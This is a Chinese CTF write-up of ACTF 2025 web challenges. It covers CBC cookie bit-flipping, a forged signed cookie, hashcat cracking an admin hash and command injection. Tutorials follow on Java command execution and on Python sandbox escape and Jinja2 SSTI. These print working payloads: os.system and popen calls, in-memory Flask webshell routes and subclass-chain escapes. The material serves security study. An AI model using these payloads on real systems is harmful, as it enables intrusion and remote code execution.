actf2025复现

ACTF 2025 Web

not so web 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import (
Flask,
render_template,
render_template_string,
request,
redirect,
url_for,
flash,
session,
)

app = Flask(__name__)
app.secret_key = KEY


@dataclass(kw_only=True)
class APPUser:
name: str
password_raw: str
register_time: int


# In-memory store for user registration
users: Dict[str, APPUser] = {
"admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}


def validate_cookie(cookie: str) -> bool:
if not cookie:
return False

try:
cookie_encrypted = base64.b64decode(cookie, validate=True)
except binascii.Error:
return False

if len(cookie_encrypted) < 32:
return False

try:
iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
cookie_json = cipher.decrypt(padded)
except ValueError:
return False

try:
_ = json.loads(cookie_json)
except Exception:
return False

return True


def parse_cookie(cookie: str) -> Tuple[bool, str]:
if not cookie:
return False, ""

try:
cookie_encrypted = base64.b64decode(cookie, validate=True)
except binascii.Error:
return False, ""

if len(cookie_encrypted) < 32:
return False, ""

try:
iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(padded)
cookie_json_bytes = unpad(decrypted, 16)
cookie_json = cookie_json_bytes.decode()
except ValueError:
return False, ""

try:
cookie_dict = json.loads(cookie_json)
except Exception:
return False, ""

return True, cookie_dict.get("name")


def generate_cookie(user: APPUser) -> str:
cookie_dict = asdict(user)
cookie_json = json.dumps(cookie_dict)
cookie_json_bytes = cookie_json.encode()
iv = os.urandom(16)
padded = pad(cookie_json_bytes, 16)
cipher = AES.new(KEY, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(padded)
return base64.b64encode(iv + encrypted).decode()


@app.route("/")
def index():
if validate_cookie(request.cookies.get("jwbcookie")):
return redirect(url_for("home"))
return redirect(url_for("login"))


@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
user_name = request.form["username"]
password = request.form["password"]
if user_name in users:
flash("Username already exists!", "danger")
else:
users[user_name] = APPUser(
name=user_name, password_raw=password, register_time=int(time.time())
)
flash("Registration successful! Please login.", "success")
return redirect(url_for("login"))
return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
if username in users and users[username].password_raw == password:
resp = redirect(url_for("home"))
resp.set_cookie("jwbcookie", generate_cookie(users[username]))
return resp
else:
flash("Invalid credentials. Please try again.", "danger")
return render_template("login.html")


@app.route("/home")
def home():
valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
if not valid or not current_username:
return redirect(url_for("logout"))

user_profile = users.get(current_username)
if not user_profile:
return redirect(url_for("logout"))

if current_username == "admin":
payload = request.args.get("payload")
html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h2 class="text-center">Welcome, %s !</h2>
<div class="text-center">
Your payload: %s
</div>
<img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
<div class="text-center">
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</body>
</html>
""" % (
current_username,
payload,
)
else:
html_template = (
"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h2 class="text-center">server code (encoded)</h2>
<div class="text-center" style="word-break:break-all;">
{%% raw %%}
%s
{%% endraw %%}
</div>
<div class="text-center">
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</body>
</html>
"""
% base64.b64encode(open(__file__, "rb").read()).decode()
)
return render_template_string(html_template)


@app.route("/logout")
def logout():
resp = redirect(url_for("login"))
resp.delete_cookie("jwbcookie")
return resp


if __name__ == "__main__":
app.run()

CBC(Cipher Block Chaining,加密块链接模式)是一种块加密模式

CBC加密过程

假设:

  • 明文被切成多个块:P1, P2, P3, …, Pn (每块是128位 = 16字节)
  • 密文是:C1, C2, C3, …, Cn
  • 密钥是固定的。
  • IV(Initialization Vector)是一个随机的16字节数据,作为第一个块的前置密文

加密步骤是:

第一个块加密:

C1 = AES_encrypt(P1 ^ IV)

第二个块加密:

C2 = AES_encrypt(P2 ^ C1)

以此类推

CBC解密过程

第一个块解密:

P1 = AES_decrypt(C1) ^ IV

第二个块解密:

P2 = AES_decrypt(C2) ^ C1

未加密字符串是’{“name”: “admin”, “password_raw”: “admin”, “register_time”: -1}’

l6字节为一块,admin在第一块P1, 标记P1’=’n’,对应位置为C1’

用admi1注册拿一个cookie, P1 = ‘1’ 对应C1, 只需要改iv就行,c1不变

1
2
3
p1 = aes_decrypt(c1) ^ iv
p1' = aes_decrypt(c1) ^ iv'
iv' = iv ^ p1 ^ p1'

这样就可以伪造admin了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from app import parse_cookie,users,generate_cookie
import base64

# p1 = aes_decrypt(c1) ^ iv
# p1' = aes_decrypt(c1) ^ iv'
# iv' = iv ^ p1 ^ p1'

def cbc_bitflip(ciphertext:str,index:int) -> str:
ciphertext = base64.b64decode(ciphertext)
iv = ciphertext[:16]
ciphertext = ciphertext[16:]
new_index = bytearray(iv)
new_index[index]=iv[index]^ord("1")^ord('n')
return base64.b64encode(new_index+ciphertext).decode()



if __name__ == '__main__':
cookie = open('../.idea/httpRequests/http-client.cookies',"r").readlines()[2].split('\t')[-2]
index='{"name": "admin", "password_raw": "admin", "register_time": -1}'.find('n"')
admin_cookie = cbc_bitflip(cookie,index)
print(parse_cookie(admin_cookie))

测试代码

https://github.com/xiaotian2023/CTF-Web-Review/tree/main/actf2025/not%20so%20web%201

Not so web 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Crypto.PublicKey import RSA
from Crypto.Signature import PKCS1_v1_5
from Crypto.Hash import SHA256
from flask import (
Flask,
render_template,
render_template_string,
request,
redirect,
url_for,
flash,
session,
abort,
)

app = Flask(__name__)
app.secret_key = KEY

if os.path.exists("/etc/ssl/private/server.key"):
private_key = RSA.importKey(open("/etc/ssl/private/server.key", "r").read())
else:
private_key = RSA.generate(2048)

public_key = private_key.publickey()


@dataclass
class APPUser:
name: str
password_raw: str
register_time: int


# In-memory store for user registration
users: Dict[str, APPUser] = {
"admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}


def validate_cookie(cookie_b64: str) -> bool:
valid, _ = parse_cookie(cookie_b64)
return valid


def parse_cookie(cookie_b64: str) -> Tuple[bool, str]:
if not cookie_b64:
return False, ""

try:
cookie = base64.b64decode(cookie_b64, validate=True).decode()
except binascii.Error:
return False, ""

try:
msg_str, sig_hex = cookie.split("&")
except Exception:
return False, ""

msg_dict = json.loads(msg_str)
msg_str_bytes = msg_str.encode()
msg_hash = SHA256.new(msg_str_bytes)
sig = bytes.fromhex(sig_hex)
try:
PKCS1_v1_5.new(public_key).verify(msg_hash, sig)
valid = True
except (ValueError, TypeError):
valid = False
return valid, msg_dict.get("user_name")


def generate_cookie(user: APPUser) -> str:
msg_dict = {"user_name": user.name, "login_time": int(time.time())}
msg_str = json.dumps(msg_dict)
msg_str_bytes = msg_str.encode()
msg_hash = SHA256.new(msg_str_bytes)
sig = PKCS1_v1_5.new(private_key).sign(msg_hash)
sig_hex = sig.hex()
packed = msg_str + "&" + sig_hex
return base64.b64encode(packed.encode()).decode()


@app.route("/")
def index():
if validate_cookie(request.cookies.get("jwbcookie")):
return redirect(url_for("home"))
return redirect(url_for("login"))


@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
user_name = request.form["username"]
password = request.form["password"]
if user_name in users:
flash("Username already exists!", "danger")
else:
users[user_name] = APPUser(
name=user_name, password_raw=password, register_time=int(time.time())
)
flash("Registration successful! Please login.", "success")
return redirect(url_for("login"))
return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
if username in users and users[username].password_raw == password:
resp = redirect(url_for("home"))
resp.set_cookie("jwbcookie", generate_cookie(users[username]))
return resp
else:
flash("Invalid credentials. Please try again.", "danger")
return render_template("login.html")


@app.route("/home")
def home():
valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
if not valid or not current_username:
return redirect(url_for("logout"))

user_profile = users.get(current_username)
if not user_profile:
return redirect(url_for("logout"))

if current_username == "admin":
payload = request.args.get("payload")
if payload:
for char in payload:
if char in "'_#&;":
abort(403)
return

html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h2 class="text-center">Welcome, %s !</h2>
<div class="text-center">
Your payload: %s
</div>
<img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
<div class="text-center">
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</body>
</html>
""" % (
current_username,
payload,
)
else:
html_template = (
"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h2 class="text-center">server code (encoded)</h2>
<div class="text-center" style="word-break:break-all;">
{%% raw %%}
%s
{%% endraw %%}
</div>
<div class="text-center">
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</body>
</html>
"""
% base64.b64encode(open(__file__, "rb").read()).decode()
)
return render_template_string(html_template)


@app.route("/logout")
def logout():
resp = redirect(url_for("login"))
resp.delete_cookie("jwbcookie")
return resp


if __name__ == "__main__":
app.run()

注册一个amin1拿cookie,base64解码后前半段直接是明文admi1

replace(‘1’,’n’,1) 然后base64编码就可以解析为admin了

1
2
3
4
5
6
7
8
from app import parse_cookie
import base64
if __name__ == '__main__':
cookie_b64 = open('../.idea/httpRequests/http-client.cookies', "r").readlines()[2].split('\t')[-2]
cookie = base64.b64decode(cookie_b64, validate=True).decode()
new_cookie = cookie.replace('1', 'n',1)
print(base64.b64encode(new_cookie.encode()).decode())
print(parse_cookie(base64.b64encode(new_cookie.encode()).decode()))

测试代码都在仓库里

ACTF upload

随便注册一个,上传文件,然后跳转/upload?file_path={uuid}.png

file_path=../app.py读源码,data协议,base64解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import uuid
import os
import hashlib
import base64
from flask import Flask, request, redirect, url_for, flash, session

app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')

@app.route('/')
def index():
if session.get('username'):
return redirect(url_for('upload'))
else:
return redirect(url_for('login'))

@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == 'admin':
if hashlib.sha256(password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0':
session['username'] = username
return redirect(url_for('index'))
else:
flash('Invalid password')
else:
session['username'] = username
return redirect(url_for('index'))
else:
return '''
<h1>Login</h1>
<h2>No need to register.</h2>
<form action="/login" method="post">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<br>
<label for="password">Password:</label>
<input type="password" id="password" name="password" required>
<br>
<input type="submit" value="Login">
</form>
'''

@app.route('/upload', methods=['POST', 'GET'])
def upload():
if not session.get('username'):
return redirect(url_for('login'))

if request.method == 'POST':
f = request.files['file']
file_path = str(uuid.uuid4()) + '_' + f.filename
f.save('./uploads/' + file_path)
return redirect(f'/upload?file_path={file_path}')

else:
if not request.args.get('file_path'):
return '''
<h1>Upload Image</h1>

<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
'''

else:
file_path = './uploads/' + request.args.get('file_path')
if session.get('username') != 'admin':
with open(file_path, 'rb') as f:
content = f.read()
b64 = base64.b64encode(content)
return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'
else:
os.system(f'base64 {file_path} > /tmp/{file_path}.b64')
# with open(f'/tmp/{file_path}.b64', 'r') as f:
# return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'
return 'Sorry, but you are not allowed to view this image.'

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

如果是admin的话就可以命令注入了

sha256(password)==32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0

hashcat爆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
└─$ hashcat -m 1400 -a 0 32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0 /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-skylake-avx512-AMD Ryzen 9 7940H w/ Radeon 780M Graphics, 2719/5502 MB (1024 MB allocatable), 16MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 4 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec

32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0:backdoor

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: 32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d...3e8ce0
Time.Started.....: Tue Apr 29 14:34:07 2025 (1 sec)
Time.Estimated...: Tue Apr 29 14:34:08 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 870.4 kH/s (0.75ms) @ Accel:512 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 57344/14344385 (0.40%)
Rejected.........: 0/57344 (0.00%)
Restore.Point....: 49152/14344385 (0.34%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: truckin -> YELLOW1

Started: Tue Apr 29 14:33:28 2025
Stopped: Tue Apr 29 14:34:09 2025

然后命令注入(用管道符)读就行了

Excellent-Site

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
import smtplib 
import imaplib
import email
import sqlite3
from urllib.parse import urlparse
import requests
from email.header import decode_header
from flask import *

app = Flask(__name__)

def get_subjects(username, password):
imap_server = "ezmail.org"
imap_port = 143
try:
mail = imaplib.IMAP4(imap_server, imap_port)
mail.login(username, password)
mail.select("inbox")
status, messages = mail.search(None, 'FROM "admin@ezmail.org"')
if status != "OK":
return ""
subject = ""
latest_email = messages[0].split()[-1]
status, msg_data = mail.fetch(latest_email, "(RFC822)")
for response_part in msg_data:
if isinstance(response_part, tuple):
msg = email.message_from_bytes(response_part [1])
subject, encoding = decode_header(msg["Subject"]) [0]
if isinstance(subject, bytes):
subject = subject.decode(encoding if encoding else 'utf-8')
mail.logout()
return subject
except:
return "ERROR"

def fetch_page_content(url):
try:
parsed_url = urlparse(url)
if parsed_url.scheme != 'http' or parsed_url.hostname != 'ezmail.org':
return "SSRF Attack!"
response = requests.get(url)
if response.status_code == 200:
return response.text
else:
return "ERROR"
except:
return "ERROR"

@app.route("/report", methods=["GET", "POST"])
def report():
message = ""
if request.method == "POST":
url = request.form["url"]
content = request.form["content"]
smtplib._quote_periods = lambda x: x
mail_content = """From: ignored@ezmail.org\r\nTo: admin@ezmail.org\r\nSubject: {url}\r\n\r\n{content}\r\n.\r\n"""
try:
server = smtplib.SMTP("ezmail.org")
mail_content = smtplib._fix_eols(mail_content)
mail_content = mail_content.format(url=url, content=content)
server.sendmail("ignored@ezmail.org", "admin@ezmail.org", mail_content)
message = "Submitted! Now wait till the end of the world."
except:
message = "Send FAILED"
return render_template("report.html", message=message)

@app.route("/bot", methods=["GET"])
def bot():
requests.get("http://ezmail.org:3000/admin")
return "The admin is checking your advice(maybe)"

@app.route("/admin", methods=["GET"])
def admin():
ip = request.remote_addr
if ip != "127.0.0.1":
return "Forbidden IP"
subject = get_subjects("admin", "p@ssword")
if subject.startswith("http://ezmail.org"):
page_content = fetch_page_content(subject)
return render_template_string(f"""
<h2>Newest Advice(from myself)</h2>
<div>{page_content}</div>
""")
return ""

@app.route("/news", methods=["GET"])
def news():
news_id = request.args.get("id")

if not news_id:
news_id = 1

conn = sqlite3.connect("news.db")
cursor = conn.cursor()

cursor.execute(f"SELECT title FROM news WHERE id = {news_id}")
result = cursor.fetchone()
conn.close()

if not result:
return "Page not found.", 404
return result[0]

@app.route("/")
def index():
return render_template("index.html")

if __name__ == "__main__":
app.run(host="0.0.0.0", port=3000)

java本地命令执行

java本地命令执行

Runtime

就一个构造方法,是private的,只能在Runtime类中实例化,但是可以使用静态方法getRuntime获取到Runtime对象,通过Runtime对象的方法exec执行命令

exec返回一个Process对象

调用链(windows)

1
2
3
4
5
Runtime.exec() 
->ProcessBuilder.start()
-> ProcessImpl.start()
-> new ProcessImpl()
//都在java.lang下

linux是将ProcessImpl的start换成forkAndExec

Runtime.exec直接执行,或在jdk8以下反射执行

1
2
System.out.println(org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("ls").getInputStream()));
//需要添加库org.apache.commons.io

ProcessBuilder

类跟方法start都是public的,直接用,也是返回Process对象

1
System.out.println(org.apache.commons.io.IOUtils.toString(new ProcessBuilder("whoami").start().getInputStream()));

ProcessImpl

类是default权限,只能在java8以下反射获取,并调用static的start

1
2
3
4
5
6
Class<?> clazz = Class.forName("java.lang.ProcessImpl");
String[] cmds = new String[]{"whoami"};
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
Process e = (Process) method.invoke(null, cmds, null, null, null, false);
System.out.println(org.apache.commons.io.IOUtils.toString(e.getInputStream()));

Jni命令执行

java中native方法是底层c/c++实现的(jni就是java与c/c++地层交流的api)

自己编写native方法测试

创建test2.java

java测试

1
2
3
4
5
6
7
8
package test;
public class test2 {
public static native String nativeMethod(String str);
public static void main(String[] args) throws Exception {
System.load("D:\\download\\untitled1\\test\\cmd.dll"); //你最后的dll生成的位置,或者你直接将dll丢掉java.library.path
System.out.println(test2.nativeMethod("ls / -al"));
}
}
1
javac -cp . test2.java -h .  //-h选项用来在指定目录生成test_test2.h

编写test_test2.cpp

java与c/c++通信参考(https://blog.csdn.net/qq_25722767/article/details/52557235)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//
// Created by tiand on 2025-03-20.
//

#include "test_test2.h"
#include <string>
#include <cstdio>
using namespace std;

JNIEXPORT jstring JNICALL Java_test_test2_nativeMethod(JNIEnv *env, jclass jclass, jstring str) {
if (str == NULL) {
return NULL;
}

const char *c_str = env->GetStringUTFChars(str, NULL);
if (c_str == NULL) {
return NULL;
}

FILE *fp = popen(c_str, "r");
env->ReleaseStringUTFChars(str, c_str); // 释放传入的字符串

if (fp == NULL) {
return NULL;
}

string output; // 定义 string 存储完整的输出
char buffer[1024];

while (fgets(buffer, sizeof(buffer), fp) != NULL) {
output += buffer;
}
pclose(fp);

return env->NewStringUTF(output.c_str()); // 返回完整的多行字符串
}

编译命令

1
2
3
g++ -shared -o cmd.dll test_test2.cpp -I"%JAVA_HOME%/include" -I"%JAVA_HOME%/include/win32" -static -static-libgcc -static-libstdc++ -Wl,--add-stdcall-alias

#-static尽量静态编译

python沙箱与ssti入门

python沙箱与ssti(jinja2)入门——精简版

完整版云文档: https://doc.weixin.qq.com/doc/w3_AV4A0QaYAIoYb700En5SsqbaVhU4l?scode=APUACwdKABEAMrANAQAV4A0QaYAIo&version=4.1.32.6005&platform=win

题目练习场:https://ctf.xidian.edu.cn/training/

python沙箱

沙箱环境是通过控制和限制代码的执行,保护系统免受恶意代码的危害。在 Flask 应用中,可能会通过如 exec()eval() 或者其他动态执行代码的方式创建沙箱。这样的操作可能使得恶意用户能够通过注入代码进行远程代码执行 (RCE)。

题目:python沙箱1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import *

app = Flask(__name__)
@app.route('/rce', methods=['GET', 'POST'])
def rce():
if request.method == 'POST':
code = request.form['code']
exec(code) #换成eval()呢?
return render_template('rce.html')

if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=5000)

#思考:要是没有static目录,怎么办?

沙箱里有globals()的全局变量与函数

1.写静态目录

1
2
import os;os.system('ls >static/1') 
__import__('os').system('')#eval时适用
1
2
3
4
#Fifker
import os
with open("static/test.txt",'w') as f:
f.write(os.popen('dir').read())

如果没static会写入失败,这时候可以先 mkdir static ; ls >static/1.txt

2.写templates/rce.html模板文件

3.写app.py热加载

1
__import__('os').system("sed -i \"s/rce.html/`cat /f*`/\" rce.py")

4.打内存马

1
2
3
4
5
app._got_first_request=False;app.add_url_rule('/shell','shel1',lambda:'<pre>{0}</pre>'.format(import_('os').popen(request.args.get('cmd')).read()))

app.before_request_funcs.setdefault(None, []).append(lambda: __import__('os').popen('').read())

app.after_request_funcs.setdefault(None, []).append(lambda x: y if exec('import os;global y;y=make_response(os.popen("dir").read())')==None else x)

5.利用沙箱中函数的__globals__属性获取__builtins__

1
ur1_for.__globals__['__builtins__']['eval']
1
get_flashed_messages,lipsum.......
1
ur1_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None,[])append(lambda resp:CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import __(\'os\').popen(request.args.get(\'cmd\'))read())\")==None else resp)",{'request':ur1_for.__globals__['request'],'app':ur1_for.__g1obals__['sys'].modules['__main__'].__dict__['app']})

6.利用继承关系逃逸

1
2
3
4
5
for i in ''.__class__.__base__.__subclasses__():
c+=1
if 'wrapper' not in str(i.__init__):
print(c)
#找非wrapper的init函数
1
''.__class__.__base__.__subclasses__()[104].__init__.__globals__['__builtins__']['eval']("''.__class__.__base__.__subclasses__()[104].__init__.__globals__['__builtins__']['__import__']('os').popen('dir').read()")

os._wrap_close在os.py里定义,他的init函数globals属性获取到的全局变量与函数包括在os.py里定义的,有system,popen

1
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("")

warnings.catch_warnings类在在内部定义了_module=sys.modules[‘warnings’],然后warnings模块包含有__builtins__(很多模块都包含builtins吧)

1
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__=='catch_warnings'][0]()._module.__builtins__['__import__']("os").system("cat ../flag templates/rce.html")

7.复写函数

1
global render_template;render_template=lambda x:__import__('os').popen('').read()

题目:python沙箱2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flask import *
app = Flask(__name__)


@app.route('/rce', methods=['GET', 'POST'])
def rce():
if request.method == 'POST':
code = request.form['code']
restricted_globals = {
'__builtins__': {},
}
exec(code, restricted_globals)
return render_template('rce.html')


if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=5000)

沙箱里没有全局变量全局函数(builtin的,flask的都没),利用继承关系逃逸

python ssti

image-20250118152124960

SSTI 是指通过模板引擎(如 Jinja2)执行恶意模板语法,从而导致远程代码执行的漏洞。在 Flask 中,Jinja2 是默认的模板引擎,它的语法允许动态生成 HTML 内容,但不当使用时可能被攻击者利用。

查看flask的jinja2沙箱中globals(全局变量与全局函数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask

app = Flask(__name__)


@app.route('/')
def index():
jinja_globals = app.jinja_env.globals

print(jinja_globals)
return "jinja_globals"
#获取沙箱中全局变量全局函数

if __name__ == '__main__':
app.run(debug=True)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
{'range': <class 'range'>, 
'dict': <class 'dict'>,
'lipsum': <function generate_lorem_ipsum at 0x000002049AACD800>,
'cycler': <class 'jinja2.utils.Cycler'>,
'joiner': <class 'jinja2.utils.Joiner'>,
'namespace': <class 'jinja2.utils.Namespace'>,
'url_for': <bound method Flask.url_for of <Flask 'test'>>,
'get_flashed_messages': <function get_flashed_messages at 0x000002049B62F740>,

'config': <Config {'DEBUG': True, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>,

'request': <Request 'http://127.0.0.1:5000/' [GET]>,
'session': <NullSession {}>,
'g': <flask.g of 'test'>}

查看flask的jinja2沙箱中过滤器

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask

app = Flask(__name__)

@app.route('/')
def index():
jinja_filters = app.jinja_env.filters

print(jinja_filters)
return "jinja_filters"
